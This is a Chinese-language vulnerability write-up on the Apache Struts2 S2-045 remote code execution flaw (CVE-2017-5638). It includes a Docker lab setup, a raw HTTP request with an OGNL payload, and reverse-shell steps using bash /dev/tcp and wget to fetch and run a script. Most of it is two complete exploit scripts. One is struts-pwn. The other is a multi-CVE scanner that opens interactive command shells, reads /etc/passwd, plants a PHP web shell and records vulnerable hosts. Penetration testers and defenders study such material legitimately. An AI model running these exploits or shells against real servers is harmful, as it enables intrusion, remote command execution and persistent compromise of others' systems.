Apache Struts2 S2-045 远程代码执行漏洞 CVE-2017-5638
漏洞描述
基于 Jakarta Multipart parser 的文件上传模块在处理文件上传（multipart）的请求时候对异常信息做了捕获，并对异常信息做了 OGNL 表达式处理。但在在判断 content-type 不正确的时候会抛出异常并且带上 Content-Type 属性值，可通过精心构造附带 OGNL 表达式的 URL 导致远程代码执行。
漏洞详情:
- http://struts.apache.org/docs/s2-045.html
- https://blog.csdn.net/u011721501/article/details/60768657
- https://paper.seebug.org/247/
漏洞影响
影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
环境搭建
Vulhub 执行以下命令启动 s2-045 测试环境：
docker-compose build
docker-compose up -d环境启动后，访问 http://your-ip:8080 即可看到上传页面。
漏洞复现
直接发送如下数据包，可见 233*233 已成功执行：
POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
反弹 shell
编写 shell 脚本并启动 http 服务器：
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下：python -m http.server 80上传 shell.sh 文件的命令为：
wget 192.168.174.128/shell.sh通过漏洞 EXP 执行以上命令：
执行 shell.sh 文件的命令为：
bash shell.sh通过漏洞 EXP 执行以上命令：
成功接收反弹 shell：
漏洞 EXP
EXP 1
参考 struts-pwn
python
#!/usr/bin/env python3
# coding=utf-8
# *****************************************************
# struts-pwn: Apache Struts CVE-2017-5638 Exploit
# Author:
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
# This code is based on:
# https://www.exploit-db.com/exploits/41570/
# https://www.seebug.org/vuldb/ssvid-92746
# *****************************************************
import sys
import random
import requests
import argparse
# Disable SSL warnings
try:
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
except:
pass
if len(sys.argv) <= 1:
print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
print('[*] Struts-PWN - @mazen160')
print('\n%s -h for help.' % (sys.argv[0]))
exit(0)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
dest="url",
help="Check a single URL.",
action='store')
parser.add_argument("-l", "--list",
dest="usedlist",
help="Check a list of URLs.",
action='store')
parser.add_argument("-c", "--cmd",
dest="cmd",
help="Command to execute. (Default: id)",
action='store',
default='id')
parser.add_argument("--check",
dest="do_check",
help="Check if a target is vulnerable.",
action='store_true')
args = parser.parse_args()
url = args.url if args.url else None
usedlist = args.usedlist if args.usedlist else None
url = args.url if args.url else None
cmd = args.cmd if args.cmd else None
do_check = args.do_check if args.do_check else None
def url_prepare(url):
url = url.replace('#', '%23')
url = url.replace(' ', '%20')
if ('://' not in url):
url = str('http') + str('://') + str(url)
return(url)
def exploit(url, cmd):
url = url_prepare(url)
print('\n[*] URL: %s' % (url))
print('[*] CMD: %s' % (cmd))
payload = "%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Content-Type': str(payload),
'Accept': '*/*'
}
timeout = 3
try:
output = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text
except requests.exceptions.ChunkedEncodingError:
print("[!] ChunkedEncodingError Error: Making another request to the url.")
print("Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.")
try:
output = b""
with requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False, stream=True) as resp:
for i in resp.iter_content():
output += i
except requests.exceptions.ChunkedEncodingError as e:
print("EXCEPTION::::--> " + str(e))
print("Note: Server Connection Closed Prematurely\n")
except Exception as e:
print("EXCEPTION::::--> " + str(e))
output = 'ERROR'
if type(output) != str:
output = output.decode('utf-8')
return(output)
except Exception as e:
print("EXCEPTION::::--> " + str(e))
output = 'ERROR'
return(output)
def check(url):
url = url_prepare(url)
print('\n[*] URL: %s' % (url))
random_string = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for i in range(7))
payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']."
payload += "addHeader('%s','%s')}.multipart/form-data" % (random_string, random_string)
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Content-Type': str(payload),
'Accept': '*/*'
}
timeout = 3
try:
resp = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
if ((random_string in resp.headers.keys()) and (resp.headers[random_string] == random_string)):
result = True
else:
result = False
except Exception as e:
print("EXCEPTION::::--> " + str(e))
result = False
return(result)
def main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check):
if url:
if do_check:
result = check(url) # Only check for existence of Vulnerablity
output = '[*] Status: '
if result is True:
output += 'Vulnerable!'
else:
output += 'Not Affected.'
else:
output = exploit(url, cmd) # Exploit
print(output)
if usedlist:
URLs_List = []
try:
f_file = open(str(usedlist), 'r')
URLs_List = f_file.read().replace('\r', '').split('\n')
try:
URLs_List.remove('')
except ValueError:
pass
f_file.close()
except:
print('Error: There was an error in reading list file.')
exit(1)
for url in URLs_List:
if do_check:
result = check(url) # Only check for existence of Vulnerablity
output = '[*] Status: '
if result is True:
output += 'Vulnerable!'
else:
output += 'Not Affected.'
else:
output = exploit(url, cmd) # Exploit
print(output)
print('[%] Done.')
if __name__ == '__main__':
try:
main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check)
except KeyboardInterrupt:
print('\nKeyboardInterrupt Detected.')
print('Exiting...')
exit(0)EXP 2
python
#!/usr/bin/python
from __future__ import print_function
from future import standard_library
standard_library.install_aliases()
from builtins import input
from builtins import str
import urllib.request, urllib.error, urllib.parse
import time
import sys
import os
import subprocess
import requests
import readline
import urllib.parse
RED = '\033[1;31m'
BLUE = '\033[94m'
BOLD = '\033[1m'
GREEN = '\033[32m'
OTRO = '\033[36m'
YELLOW = '\033[33m'
ENDC = '\033[0m'
def cls():
os.system(['clear', 'cls'][os.name == 'nt'])
cls()
logo = BLUE+'''
___ _____ ___ _ _ _____ ___
( _`\(_ _)| _`\ ( ) ( )(_ _)( _`\
| (_(_) | | | (_) )| | | | | | | (_(_)
`\__ \ | | | , / | | | | | | `\__ \
( )_) | | | | |\ \ | (_) | | | ( )_) |
`\____) (_) (_) (_)(_____) (_) `\____)
=[ Command Execution v3]=
By @s1kr10s
'''+ENDC
print(logo)
print(" * Ejemplo: http(s)://www.victima.com/files.login\n")
host = input(BOLD+" [+] HOST: "+ENDC)
if len(host) > 0:
if host.find("https://") != -1 or host.find("http://") != -1:
poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}"
def exploit(comando):
exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
return exploit
def exploit2(comando):
exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}"
return exploit2
def exploit3(comando):
exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D"
return exploit3
def pwnd(shellfile):
exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
return exploitfile
def validador():
arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"]
return arr_lin_win
#def reversepl(ip,port):
# print "perl"
#def reversepy(ip,port):
# print "python"
# CVE-2013-2251 ---------------------------------------------------------------------------------
try:
response = ''
response = urllib.request.urlopen(host+poc)
except:
print(RED+" Servidor no responde\n"+ENDC)
exit(0)
print(BOLD+"\n [+] EJECUTANDO EXPLOIT CVE-2013-2251"+ENDC)
if response.read().find("mamalo") != -1:
print(RED+" [-] VULNERABLE"+ENDC)
owned = open('vulnsite.txt', 'a')
owned.write(str(host)+'\n')
owned.close()
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
#print BOLD+" * [SHELL REVERSA]"+ENDC
#print OTRO+" Struts@Shell:$ reverse 127.0.0.1 4444 (perl,python,bash)\n"+ENDC
if opcion == 's':
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
time.sleep(1)
print(BOLD+" * [UPLOAD SHELL]"+ENDC)
print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
while 1:
separador = input(GREEN+"Struts2@Shell_1:$ "+ENDC)
espacio = separador.split(' ')
comando = "','".join(espacio)
if espacio[0] != 'reverse' and espacio[0] != 'pwnd':
shell = urllib.request.urlopen(host+exploit("'"+str(comando)+"'"))
print("\n"+shell.read())
elif espacio[0] == 'pwnd':
pathsave=input("path EJ:/tmp/: ")
if espacio[1] == 'php':
shellfile = """'python','-c','f%3dopen("/tmp/status.php","w");f.write("<?php%20system($_GET[ksujenenuhw])?>")'"""
urllib.request.urlopen(host+pwnd(str(shellfile)))
shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
if shell.read().find(pathsave+"status.php") != -1:
print(BOLD+GREEN+"\nCreate File Successfull :) ["+pathsave+"status.php]\n"+ENDC)
else:
print(BOLD+RED+"\nNo Create File :/\n"+ENDC)
# CVE-2017-5638 ---------------------------------------------------------------------------------
print(BLUE+" [-] NO VULNERABLE"+ENDC)
print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC)
x = 0
while x < len(validador()):
valida = validador()[x]
try:
req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))})
result = urllib.request.urlopen(req).read()
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
print(RED+" [-] VULNERABLE"+ENDC)
owned = open('vulnsite.txt', 'a')
owned.write(str(host)+'\n')
owned.close()
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
if opcion == 's':
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
time.sleep(1)
while 1:
try:
separador = input(GREEN+"\nStruts2@Shell_2:$ "+ENDC)
req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(separador))})
result = urllib.request.urlopen(req).read()
print("\n"+result)
except:
exit(0)
else:
x = len(validador())
else:
print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
except:
pass
x=x+1
# CVE-2018-11776 ---------------------------------------------------------------------------------
print(BLUE+" [-] NO VULNERABLE"+ENDC)
print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC)
x = 0
while x < len(validador()):
#Filtramos la url solo dominio
url = host.replace('#', '%23')
url = host.replace(' ', '%20')
if ('://' not in url):
url = str("http://") + str(url)
scheme = urllib.parse.urlparse(url).scheme
site = scheme + '://' + urllib.parse.urlparse(url).netloc
#Filtramos la url solo path
file_path = urllib.parse.urlparse(url).path
if (file_path == ''):
file_path = '/'
valida = validador()[x]
try:
result = requests.get(site+"/"+exploit3(str(valida))+file_path).text
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
print(RED+" [-] VULNERABLE"+ENDC)
owned = open('vulnsite.txt', 'a')
owned.write(str(host)+'\n')
owned.close()
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
if opcion == 's':
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
time.sleep(1)
print(BOLD+" * [UPLOAD SHELL]"+ENDC)
print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
while 1:
separador = input(GREEN+"Struts2@Shell_3:$ "+ENDC)
espacio = separador.split(' ')
comando = "%20".join(espacio)
shell = urllib.request.urlopen(host+exploit3(str(comando)))
print("\n"+shell.read())
else:
x = len(validador())
exit(0)
else:
print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
except:
pass
x=x+1
else:
print(RED+" Debe introducir el protocolo (https o http) para el dominio\n"+ENDC)
exit(0)
else:
print(RED+" Debe Ingresar una Url\n"+ENDC)
exit(0)